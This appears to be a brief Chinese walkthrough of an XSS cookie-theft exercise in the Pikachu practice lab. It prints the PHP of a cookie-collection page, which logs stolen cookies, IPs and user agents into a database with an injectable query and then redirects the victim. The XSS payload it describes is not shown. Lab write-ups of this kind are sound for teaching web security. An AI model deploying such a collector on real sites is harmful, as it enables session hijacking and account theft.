皮卡丘之XSS获取cookie

    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://192.144.227.243/pikachu/index.php");//重定向到一个可信的网站
?>

从这段代码中我们能得知，如果我们通过get方式请求这个页面，并且传进来cookie值，那么这个网页能把我们的cookie存进数据库并且重定向皮卡丘的主页。

我们找到这个页面，输入xss攻击的代码：

提交后页面重定向到了皮卡丘首页，然后我们去后台看一下：

成功获取。